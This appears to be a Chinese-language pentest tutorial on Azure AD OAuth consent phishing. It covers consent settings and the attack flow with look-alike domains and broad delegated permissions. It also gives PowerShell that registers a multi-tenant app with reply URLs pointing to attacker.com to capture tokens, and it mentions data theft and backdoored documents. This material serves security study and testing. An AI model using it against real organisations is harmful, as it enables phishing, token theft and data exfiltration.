OAuth 应用钓鱼
Azure 应用程序请求访问用户数据的权限(基本信息,还包括访问文档、发送电子邮件等)。
如果允许,普通用户只能授予**“低影响”权限的同意。在所有其他**情况下,需要管理员同意。
GA
、ApplicationAdministrator
、CloudApplication
Administrator
和包括授予应用程序权限的权限
的自定义角色可以提供租户范围的同意。
只有不需要管理员同意的权限被归类为低影响。这些是基本登录所需的权限,包括openid、profile、email、User.Read和offline_access。如果一个组织****允许用户对所有应用程序进行同意,员工可以授予应用程序读取其个人资料中的上述信息的权限。
因此,攻击者可以准备一个恶意应用,并通过钓鱼使用户接受该应用并窃取其数据。
2 种非法同意授予攻击类型
未认证:从外部帐户创建一个具有User.Read
和User.ReadBasic.All
权限的应用程序,例如,钓鱼用户,您将能够访问目录信息。
这要求被钓鱼的用户能够接受来自外部环境的OAuth应用!
已认证:在拥有足够权限的主体被攻陷后,在帐户内创建一个应用程序并钓鱼一些可以接受特权OAuth权限的特权用户。
在这种情况下,您已经可以访问目录的信息,因此权限User.ReadBasic.All
不再有趣。
您可能对需要管理员授予的权限感兴趣,因为普通用户无法授予OAuth应用任何权限,这就是为什么您需要仅钓鱼这些用户(稍后将详细介绍哪些角色/权限授予此特权)。
检查用户是否允许同意
以下 PowerShell 命令用于检查 Azure Active Directory (Azure AD) 中用户的同意配置,关于他们是否能够对应用程序进行同意:
PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
禁用用户同意:此设置禁止用户向应用程序授予权限。用户不允许对应用程序进行同意。
用户可以对来自经过验证的发布者或您组织的应用程序进行同意,但仅限于您选择的权限:此设置允许所有用户仅对由经过验证的发布者发布的应用程序和在您自己的租户中注册的应用程序进行同意。通过仅允许特定权限的同意,增加了一层控制。
用户可以对所有应用程序进行同意:此设置更为宽松,允许所有用户对任何应用程序的权限进行同意,只要这些权限不需要管理员同意。
自定义应用程序同意策略:此设置表明已制定自定义策略,可以根据特定的组织要求进行调整,并可能涉及基于应用程序发布者、应用程序请求的权限和其他因素的组合限制。
理解非法同意授予攻击
在非法同意授予攻击中,攻击者欺骗最终用户向在Azure中注册的恶意应用程序授予权限。这是通过使应用程序看起来合法来实现的,导致受害者在不知情的情况下点击“接受”按钮。因此,Azure AD向攻击者的网站发放令牌,使他们能够访问和操纵受害者的数据,例如读取或发送电子邮件和访问文件,而无需组织帐户。
攻击流程概述
攻击涉及针对一个通用公司的几个步骤。以下是可能的展开方式:
域名注册和应用程序托管:攻击者注册一个类似可信网站的域名,例如“safedomainlogin.com”。在此域名下,创建一个子域名(例如“companyname.safedomainlogin.com”)以托管旨在捕获授权代码和请求访问令牌的应用程序。
在Azure AD中注册应用程序:攻击者随后在其Azure AD租户中注册一个多租户应用程序,以目标公司的名称命名,以显得合法。他们将应用程序的重定向URL配置为指向托管恶意应用程序的子域名。
设置权限:攻击者为应用程序设置各种API权限(例如Mail.Read
、Notes.Read.All
、Files.ReadWrite.All
、User.ReadBasic.All
、User.Read
)。一旦用户授予这些权限,攻击者就可以代表用户提取敏感信息。
分发恶意链接:攻击者制作一个包含恶意应用程序客户端ID的链接,并与目标用户分享,欺骗他们授予同意。
利用工具进行攻击
攻击可以使用像365-Stealer这样的工具来促进。
攻击前准备:
如果攻击者对受害组织中的某个用户有一定程度的访问权限,他们可能会检查组织的政策是否允许用户接受应用程序:
Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.
为了执行攻击,攻击者需要在他们的 Azure 租户中创建一个 新应用(在应用注册中),并配置以下权限:
User.ReadBasic.All
位于 Microsoft Graph
的 Delegated permissions
中。(应用权限始终需要额外的批准)。
User.ReadBasic.All
是允许您 读取组织中所有用户信息 的权限(如果获得批准)。
请记住,只有 GA
、ApplicationAdministrator
、CloudApplication
Administrator
和包括 授予应用权限的权限
的自定义角色可以提供租户范围的同意。因此,如果您希望他批准一个 需要管理员同意的应用,您应该 钓鱼一个具有这些角色的用户。
您还可以通过 cli 创建一个应用:
# Generate Application
New-AzureADApplication -DisplayName "MyApp" -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true
# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName" -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"} # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}
Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid
查看 https://www.alteredsecurity.com/post/introduction-to-365-stealer 了解如何配置它。
请注意,获得的 access token 将用于 graph endpoint,其范围为:User.Read
和 User.ReadBasic.All
(请求的权限)。您将无法执行其他操作(但这些足以 下载有关组织中所有用户的信息)。
您也可以使用此工具执行此攻击。
Post-Exploitation
一旦您获得用户访问权限,您可以执行诸如窃取敏感文档甚至上传后门文档文件等操作。
References